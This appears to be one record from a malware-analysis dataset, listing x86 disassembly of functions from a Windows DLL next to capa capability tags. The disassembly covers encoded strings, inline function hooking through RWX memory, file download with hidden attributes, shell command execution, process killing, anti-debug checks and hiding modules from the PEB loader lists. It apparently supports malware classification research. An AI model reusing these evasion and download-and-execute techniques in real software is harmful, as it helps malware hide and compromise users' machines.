joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000f1a0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ecx
mov dword [ebp - 4], 0x35
mov dword [ebp - 8], 0
jmp 0x1000f1c2
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xb
jge 0x1000f201
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 8]
movsx edx, byte [ecx - 0x27f58405]
xor edx, dword [ebp - 4]
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 8]
mov byte [eax], dl
mov ecx, dword [ebp - 4]
add ecx, 1
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
and edx, 0x800000ff
jns 0x1000f1fc
dec edx
or edx, 0xffffff00
inc edx
mov dword [ebp - 4], edx
jmp 0x1000f1b9
mov eax, dword [ebp - 0xc]
mov byte [eax + 0xb], 0
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret 4

Function at 0x1000f220
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ecx
mov dword [ebp - 4], 0xab
mov dword [ebp - 8], 0
jmp 0x1000f242
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xd
jge 0x1000f281
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 8]
movsx edx, byte [ecx + 0x4eaba576]
xor edx, dword [ebp - 4]
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 8]
mov byte [eax], dl
mov ecx, dword [ebp - 4]
add ecx, 1
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
and edx, 0x800000ff
jns 0x1000f27c
dec edx
or edx, 0xffffff00
inc edx
mov dword [ebp - 4], edx
jmp 0x1000f239
mov eax, dword [ebp - 0xc]
mov byte [eax + 0xd], 0
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret 4

Function at 0x1000f2a0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ecx
mov dword [ebp - 4], 0x5d
mov dword [ebp - 8], 0
jmp 0x1000f2c2
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xd
jge 0x1000f301
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 8]
movsx edx, byte [ecx + 0x20c2b356]
xor edx, dword [ebp - 4]
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 8]
mov byte [eax], dl
mov ecx, dword [ebp - 4]
add ecx, 1
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
and edx, 0x800000ff
jns 0x1000f2fc
dec edx
or edx, 0xffffff00
inc edx
mov dword [ebp - 4], edx
jmp 0x1000f2b9
mov eax, dword [ebp - 0xc]
mov byte [eax + 0xd], 0
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret 4

Function at 0x1000f320
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ecx
mov dword [ebp - 4], 0x9c
mov dword [ebp - 8], 0
jmp 0x1000f342
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x15
jge 0x1000f381
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 8]
movsx edx, byte [ecx - 0x1acc85b1]
xor edx, dword [ebp - 4]
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 8]
mov byte [eax], dl
mov ecx, dword [ebp - 4]
add ecx, 1
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
and edx, 0x800000ff
jns 0x1000f37c
dec edx
or edx, 0xffffff00
inc edx
mov dword [ebp - 4], edx
jmp 0x1000f339
mov eax, dword [ebp - 0xc]
mov byte [eax + 0x15], 0
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret 4
Function at 0x1000f3f0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ecx
mov dword [ebp - 4], 0x69
mov dword [ebp - 8], 0
jmp 0x1000f412
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x11
jge 0x1000f451
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 8]
movsx edx, byte [ecx - 0x49f10360]
xor edx, dword [ebp - 4]
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 8]
mov byte [eax], dl
mov ecx, dword [ebp - 4]
add ecx, 1
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
and edx, 0x800000ff
jns 0x1000f44c
dec edx
or edx, 0xffffff00
inc edx
mov dword [ebp - 4], edx
jmp 0x1000f409
mov eax, dword [ebp - 0xc]
mov byte [eax + 0x11], 0
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret 4

Function at 0x1000f4e0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov dword [ebp - 0x28], ecx
jmp 0x1000f4fb
call fcn.100037d0
movzx eax, al
test eax, eax
je 0x1000f532
mov ecx, 0xf002b02f
push ecx
lea ecx, [ebp - 0x24]
call fcn.1000f8b0
mov dword [ebp - 0x2c], eax
push 0x10
mov edx, dword [ebp - 0x2c]
push edx
mov eax, dword [ebp + 0x10]
push eax
call fcn.100101e0
add esp, 0xc
lea ecx, [ebp - 0x24]
call fcn.10036c60
lea ecx, [ebp - 1]
call fcn.10030730
movzx ecx, al
test ecx, ecx
je 0x1000f546
jmp 0x1000f5d9
lea ecx, [ebp - 1]
call fcn.10030740
mov edx, dword [ebp + 8]
push edx
call sub.MSVCR90.dll_strlen
add esp, 4
test eax, eax
je 0x1000f5bf
mov byte [ebp - 0x18], 0x43
mov byte [ebp - 0x17], 0x6c
mov byte [ebp - 0x16], 0x6f
mov byte [ebp - 0x15], 0x73
mov byte [ebp - 0x14], 0x65
mov byte [ebp - 0x13], 0x50
mov byte [ebp - 0x12], 0x72
mov byte [ebp - 0x11], 0x6f
mov byte [ebp - 0x10], 0x63
mov byte [ebp - 0xf], 0x65
mov byte [ebp - 0xe], 0x73
mov byte [ebp - 0xd], 0x73
mov byte [ebp - 0xc], 0x20
mov byte [ebp - 0xb], 0x3a
mov byte [ebp - 0xa], 0x20
mov byte [ebp - 9], 0x25
mov byte [ebp - 8], 0x73
mov byte [ebp - 7], 0
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x18]
push ecx
push 0
mov edx, dword [0x1007f15c]
push edx
call fcn.10005c70
add esp, 0x10
lea ecx, [ebp - 1]
call fcn.10030760
jmp 0x1000f5d9
mov esp, ebp
pop ebp
ret 0x14

Function at 0x1000f8b0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ecx
mov dword [ebp - 4], 0x72
mov dword [ebp - 8], 0
jmp 0x1000f8d2
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xb
jge 0x1000f911
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 8]
movsx edx, byte [ecx + 0x2002c239]
xor edx, dword [ebp - 4]
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 8]
mov byte [eax], dl
mov ecx, dword [ebp - 4]
add ecx, 1
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
and edx, 0x800000ff
jns 0x1000f90c
dec edx
or edx, 0xffffff00
inc edx
mov dword [ebp - 4], edx
jmp 0x1000f8c9
mov eax, dword [ebp - 0xc]
mov byte [eax + 0xb], 0
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret 4
Function at 0x1000f9e0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ecx
mov eax, dword [ebp + 0x10]
add eax, 5
push eax
call sub.MSVCR90.dll_malloc
add esp, 4
mov dword [ebp - 8], eax
lea ecx, [ebp - 4]
push ecx
push 0x40
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 8]
push eax
call sub.MSVCR90.dll_memcpy
add esp, 0xc
mov ecx, dword [ebp - 8]
add ecx, dword [ebp + 0x10]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
mov byte [edx], 0xe9
mov eax, dword [ebp + 8]
add eax, dword [ebp + 0x10]
sub eax, dword [ebp - 8]
sub eax, 5
mov ecx, dword [ebp - 8]
mov dword [ecx + 1], eax
mov edx, dword [ebp + 8]
mov byte [edx], 0xe9
mov eax, dword [ebp + 0xc]
sub eax, dword [ebp + 8]
sub eax, 5
mov ecx, dword [ebp + 8]
mov dword [ecx + 1], eax
lea edx, [ebp - 4]
push edx
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [ebp - 8]
sub eax, dword [ebp + 0x10]
mov esp, ebp
pop ebp
ret 0xc

Function at 0x1000fbd0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ecx
mov dword [ebp - 4], 0x66
mov dword [ebp - 8], 0
jmp 0x1000fbf2
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x12
jge 0x1000fc31
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 8]
movsx edx, byte [ecx + 0x69c1a7ce]
xor edx, dword [ebp - 4]
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 8]
mov byte [eax], dl
mov ecx, dword [ebp - 4]
add ecx, 1
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
and edx, 0x800000ff
jns 0x1000fc2c
dec edx
or edx, 0xffffff00
inc edx
mov dword [ebp - 4], edx
jmp 0x1000fbe9
mov eax, dword [ebp - 0xc]
mov byte [eax + 0x12], 0
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret 4

Function at 0x1000fdb0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ecx
mov dword [ebp - 4], 0x48
mov dword [ebp - 8], 0
jmp 0x1000fdd2
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xe
jge 0x1000fe11
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 8]
movsx edx, byte [ecx - 0x7be10717]
xor edx, dword [ebp - 4]
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 8]
mov byte [eax], dl
mov ecx, dword [ebp - 4]
add ecx, 1
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
and edx, 0x800000ff
jns 0x1000fe0c
dec edx
or edx, 0xffffff00
inc edx
mov dword [ebp - 4], edx
jmp 0x1000fdc9
mov eax, dword [ebp - 0xc]
mov byte [eax + 0xe], 0
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret 4
Function at 0x1000fe30
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ecx
mov dword [ebp - 4], 0x45
mov dword [ebp - 8], 0
jmp 0x1000fe52
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x12
jge 0x1000fe91
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 8]
movsx edx, byte [ecx + 0x60ad89e8]
xor edx, dword [ebp - 4]
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 8]
mov byte [eax], dl
mov ecx, dword [ebp - 4]
add ecx, 1
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
and edx, 0x800000ff
jns 0x1000fe8c
dec edx
or edx, 0xffffff00
inc edx
mov dword [ebp - 4], edx
jmp 0x1000fe49
mov eax, dword [ebp - 0xc]
mov byte [eax + 0x12], 0
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret 4

Function at 0x10010060
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10040660
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x58
mov eax, dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
cmp dword [eax], 0x8b55ff8b
je 0x1001016a
call fcn.100037d0
movzx ecx, al
test ecx, ecx
je 0x100100dc
mov edx, 0xf002097b
push edx
lea ecx, [ebp - 0x18]
call fcn.1000f8b0
mov dword [ebp - 0x50], eax
mov eax, 0x9eca65a3
push eax
lea ecx, [ebp - 0x2d]
call fcn.1001c0e0
mov dword [ebp - 0x54], eax
push 0x10
mov ecx, dword [ebp - 0x50]
push ecx
mov edx, dword [ebp - 0x54]
push edx
call fcn.100101e0
add esp, 0xc
lea ecx, [ebp - 0x2d]
call fcn.1001bac0
lea ecx, [ebp - 0x18]
call fcn.10036c60
call fcn.10010230
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x10016870
Capabilities:
Get session user name

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100408eb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x534
mov dword [ebp - 0x538], 0
mov dword [ebp - 0x418], 0x101
lea eax, [ebp - 0x418]
push eax
lea ecx, [ebp - 0x524]
push ecx
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
push 0x19ae7a4e
lea ecx, [ebp - 0x533]
call fcn.10022c60
mov dword [ebp - 0x53c], eax
mov edx, dword [ebp - 0x53c]
mov dword [ebp - 0x540], edx
mov dword [ebp - 4], 0
mov eax, dword [ebp + 0xc]
push eax
lea ecx, [ebp - 0x524]
push ecx
mov edx, dword [ebp - 0x540]
push edx
push 0x2000
lea eax, [ebp - 0x414]
push eax
call fcn.1003dbf0
add esp, 0x14
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x533]
call fcn.1001bd00
lea ecx, [ebp - 0x414]
push ecx
mov ecx, dword [ebp + 8]
call fcn.100014e0
mov edx, dword [ebp - 0x538]
or edx, 1
mov dword [ebp - 0x538], edx
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x10016970
Capabilities:
Create directory
Delete file
Download url
Receive data
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100408ce
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x144
jmp 0x100169a0
push 0x518ddf1c
lea ecx, [ebp - 0x61]
call fcn.10023960
mov dword [ebp - 0x134], eax
mov eax, dword [ebp - 0x134]
push eax
call sub.MSVCR90.dll__mkdir
add esp, 4
xor ecx, ecx
cmp eax, 0xffffffff
sete cl
mov byte [ebp - 0x49], cl
lea ecx, [ebp - 0x61]
call fcn.10036cc0
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x518ddf34
lea ecx, [ebp - 0x79]
call fcn.10023960
mov dword [ebp - 0x138], eax
push 2
mov eax, dword [ebp - 0x138]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea ecx, [ebp - 0x79]
call fcn.10036cc0
mov ecx, 0x951fad45
push ecx
lea ecx, [ebp - 0xa2]
call fcn.1001c1e0
mov dword [ebp - 0x13c], eax
mov edx, dword [ebp - 0x13c]
push edx
call sub.MSVCR90.dll_remove
add esp, 4
lea ecx, [ebp - 0xa2]
call fcn.1001ba00
mov eax, 0xda6ef6a4
push eax
lea ecx, [ebp - 0xdb]
call fcn.100239e0
mov dword [ebp - 0x140], eax
mov ecx, dword [ebp - 0x140]
mov dword [ebp - 0x144], ecx
mov dword [ebp - 4], 0
mov edx, dword [ebp - 0x144]
push edx
lea ecx, [ebp - 0x28]
call fcn.100014e0
mov byte [ebp - 4], 2
lea ecx, [ebp - 0xdb]
call fcn.1001bc10
mov eax, 0x951fadad
push eax
lea ecx, [ebp - 0x104]
call fcn.1001c1e0
mov dword [ebp - 0x148], eax
mov ecx, dword [ebp - 0x148]
mov dword [ebp - 0x14c], ecx
mov byte [ebp - 4], 3
mov edx, dword [ebp - 0x14c]
push edx
lea ecx, [ebp - 0x48]
call fcn.100014e0
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x104]
call fcn.1001ba00
push 0
push 0
lea ecx, [ebp - 0x48]
call fcn.10001580
push eax
lea ecx, [ebp - 0x28]
call fcn.10001580
push eax
push 0
call sub.urlmon.dll_URLDownloadToFileA
mov eax, 0xe1dc3bc4
push eax
lea ecx, [ebp - 0x12d]
call fcn.10023a60
mov dword [ebp - 0x150], eax
push 2
mov ecx, dword [ebp - 0x150]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov dword [ebp - 0x2c], eax
lea ecx, [ebp - 0x12d]
call fcn.1001ba00
jmp 0x10016b2b
lea ecx, [ebp - 0x48]
call fcn.10001560
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x28]
call fcn.10001560
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x10016b50
Capabilities:
Execute command
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10040d40
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x60
mov eax, dword [ebp + 8]
push eax
push 0
call dword [sym.imp.USER32.dll_FindWindowA]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jbe 0x10016c4b
push 0
push 0
push 0x10
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.USER32.dll_SendMessageA]
call fcn.1002a760
mov edx, 0x951fae05
push edx
lea ecx, [ebp - 0x39]
call fcn.1001c1e0
mov dword [ebp - 0x5c], eax
mov eax, dword [ebp - 0x5c]
push eax
call sub.MSVCR90.dll_system
add esp, 4
lea ecx, [ebp - 0x39]
call fcn.1001ba00
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x1f4
mov edx, dword [0x1007f36c]
mov eax, dword [edx + 0x18]
call eax
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret

Function at 0x10018ad0
Capabilities:
Execute command
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10040d40
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x60
jmp 0x10018afd
push 0
mov eax, dword [ebp + 8]
push eax
push 0
push 0
call dword [sym.imp.USER32.dll_FindWindowExA]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jbe 0x10018bdd
push 0
push 0
push 0x10
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.USER32.dll_SendMessageA]
call fcn.1002a760
mov edx, 0x951fb535
push edx
lea ecx, [ebp - 0x39]
call fcn.1001c1e0
mov dword [ebp - 0x5c], eax
mov eax, dword [ebp - 0x5c]
push eax
call sub.MSVCR90.dll_system
add esp, 4
lea ecx, [ebp - 0x39]
call fcn.1001ba00
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
jmp 0x10018bef
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x100199f0
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x134
push 0
push 0xf
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 0x12c], eax
mov dword [ebp - 0x128], 0x128
lea eax, [ebp - 0x128]
push eax
mov ecx, dword [ebp - 0x12c]
push ecx
call sub.KERNEL32.dll_Process32First
mov dword [ebp - 0x130], eax
cmp dword [ebp - 0x130], 0
je 0x10019aa2
mov edx, dword [ebp + 8]
push edx
lea eax, [ebp - 0x104]
push eax
call sub.MSVCR90.dll_strcmp
add esp, 8
test eax, eax
jne 0x10019a87
mov ecx, dword [ebp - 0x120]
push ecx
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x134], eax
cmp dword [ebp - 0x134], 0
je 0x10019a87
push 9
mov edx, dword [ebp - 0x134]
push edx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov eax, dword [ebp - 0x134]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp - 0x128]
push ecx
mov edx, dword [ebp - 0x12c]
push edx
call sub.KERNEL32.dll_Process32Next
mov dword [ebp - 0x130], eax
jmp 0x10019a2b
mov eax, dword [ebp - 0x12c]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x10019ec0
Capabilities:
Execute command
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd4
jmp 0x10019edb
call dword [sym.imp.KERNEL32.dll_AllocConsole]
push 0
mov eax, 0x928b615b
push eax
lea ecx, [ebp - 0x17]
call fcn.10027ee0
push eax
call dword [sym.imp.USER32.dll_FindWindowA]
mov dword [ebp - 4], eax
lea ecx, [ebp - 0x17]
call fcn.10003ec0
push 0
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.USER32.dll_ShowWindow]
push 0x4f44b1da
lea ecx, [ebp - 0x91]
call fcn.10027f60
push eax
call sub.MSVCR90.dll_system
add esp, 4
lea ecx, [ebp - 0x91]
call fcn.1001be80
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, 0xe233b741
push edx
lea ecx, [ebp - 0xd1]
call fcn.10027fe0
push eax
call sub.MSVCR90.dll_system
add esp, 4
lea ecx, [ebp - 0xd1]
call fcn.1001c030
jmp 0x10019f72
mov esp, ebp
pop ebp
ret
Function at 0x1001a430
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
push 0
push 0
push 0
push 0x10019f80
push 0
push 0
call sub.MSVCR90.dll__beginthreadex
add esp, 0x18
mov ecx, dword [0x1007f374]
call fcn.1002c660
mov ecx, dword [0x100804c0]
call fcn.1002d0c0
push 0
push 0
push 0
push 0x1001ae60
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push 0x1001b080
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x1001a010
push 0
push 0
call sub.MSVCR90.dll__beginthreadex
add esp, 0x18
push 0
push 0
push 0
push 0x10019f90
push 0
push 0
call sub.MSVCR90.dll__beginthreadex
add esp, 0x18
mov dword [0x1007f384], eax
push 0
push 0
push 0
push 0x10019fa0
push 0
push 0
call sub.MSVCR90.dll__beginthreadex
add esp, 0x18
mov dword [0x1007ffb0], eax
push 0
push 0
push 0
push 0x10019fb0
push 0
push 0
call sub.MSVCR90.dll__beginthreadex
add esp, 0x18
mov dword [0x1007f37c], eax
push 0
push 0
push 0
push 0x10019fc0
push 0
push 0
call sub.MSVCR90.dll__beginthreadex
add esp, 0x18
push 0
push 0
push 0
push 0x10019fd0
push 0
push 0
call sub.MSVCR90.dll__beginthreadex
add esp, 0x18
push 0
push 0
push 0
push 0x1001a270
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x10019fe0
push 0
push 0
call sub.MSVCR90.dll__beginthreadex
add esp, 0x18
call fcn.100037d0
movzx eax, al
test eax, eax
je 0x1001a57a
push 8
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
call sub.xHunterShield.dll_StartingProtection
add esp, 8
mov ecx, dword [0x10080ea0]
call fcn.1000fb40
push 0x1b1cb7ad
lea ecx, [ebp - 7]
call fcn.100281e0
mov dword [ebp - 0x30], eax
mov ecx, dword [ebp - 0x30]
push ecx
call fcn.100199f0
add esp, 4
lea ecx, [ebp - 7]
call fcn.1001bdc0
mov edx, 0xfd9a588f
push edx
lea ecx, [ebp - 0x14]
call fcn.10028260
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
push eax
call fcn.100199f0
add esp, 4
lea ecx, [ebp - 0x14]
call fcn.10036aa0
push 0x4a4e4bce
lea ecx, [ebp - 0x1f]
call fcn.100282e0
mov dword [ebp - 0x38], eax
mov ecx, dword [ebp - 0x38]
push ecx
call fcn.100199f0
add esp, 4
lea ecx, [ebp - 0x1f]
call fcn.1001bd30
push 0x2c905190
lea ecx, [ebp - 0x29]
call fcn.10028360
mov dword [ebp - 0x3c], eax
mov edx, dword [ebp - 0x3c]
push edx
call fcn.100199f0
add esp, 4
lea ecx, [ebp - 0x29]
call fcn.1001bd60
mov ecx, dword [0x1007f360]
call fcn.10008950
movzx eax, al
test eax, eax
jne 0x1001a645
mov ecx, dword [0x100804c0]
call fcn.1002fb10
cmp eax, 1
jle 0x1001a645
push 0
mov ecx, dword [0x100804c0]
call fcn.1002f2d0
mov ecx, dword [0x100804c4]
call fcn.10028f30
mov ecx, dword [0x100804c0]
call fcn.1002d080
mov ecx, dword [0x100804c0]
call fcn.1002d000
mov ecx, dword [0x100804c0]
call fcn.1002cfc0
mov ecx, dword [0x100804c0]
call fcn.1002cf80
mov ecx, dword [0x100804c0]
call fcn.1002d040
mov esp, ebp
pop ebp
ret
Function at 0x1001b330
Capabilities:
Create thread
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov dword [ebp - 0x28], ecx
jmp 0x1001b34b
mov dword [ebp - 4], 0
push dword [ebp + 4]
pop dword [ebp - 4]
push 4
call sub.MSVCR90.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x1001b378
mov ecx, dword [ebp - 0x10]
call fcn.1001a020
mov dword [ebp - 0x2c], eax
jmp 0x1001b37f
mov dword [ebp - 0x2c], 0
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
mov dword [0x1007fa9c], ecx
mov ecx, dword [0x1007fa9c]
call fcn.1001a840
call dword [sym.imp.KERNEL32.dll_AllocConsole]
mov edx, 0x928f6b39
push edx
lea ecx, [ebp - 0x23]
call fcn.10028960
mov dword [ebp - 0x30], eax
push 0
mov eax, dword [ebp - 0x30]
push eax
call dword [sym.imp.USER32.dll_FindWindowA]
mov dword [ebp - 8], eax
lea ecx, [ebp - 0x23]
call fcn.10003ec0
push 0
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.USER32.dll_ShowWindow]
push 0
push 0
push 0
push 0x10019ff0
push 0
push 0
call sub.MSVCR90.dll__beginthreadex
add esp, 0x18
push 0
push 0
push 0
push 0x1001a000
push 0
push 0
call sub.MSVCR90.dll__beginthreadex
add esp, 0x18
push 0
mov ecx, dword [0x1007f360]
call fcn.10008910
mov edx, dword [ebp - 4]
push edx
mov ecx, dword [0x1007fa9c]
call fcn.1001a690
push 1
mov ecx, dword [0x1007f360]
call fcn.10008910
jmp 0x1001b43c
mov eax, 1
mov esp, ebp
pop ebp
ret

Function at 0x1001b450
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], 0
pushal
pushfd
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov dword [ebp - 4], eax
mov esi, dword [eax + 0xc]
mov edx, dword [eax + 0x10]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 0x18]
cmp ecx, dword [ebp + 8]
jne 0x1001b489
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x1001b48d
cmp edx, esi
jne 0x1001b472
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0x14]
mov edx, dword [eax + 0x18]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 0x10]
cmp ecx, dword [ebp + 8]
jne 0x1001b4ad
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x1001b4b1
cmp edx, esi
jne 0x1001b496
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0x1c]
mov edx, dword [eax + 0x20]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 8]
cmp ecx, dword [ebp + 8]
jne 0x1001b4d1
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x1001b4d5
cmp edx, esi
jne 0x1001b4ba
popfd
popal
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret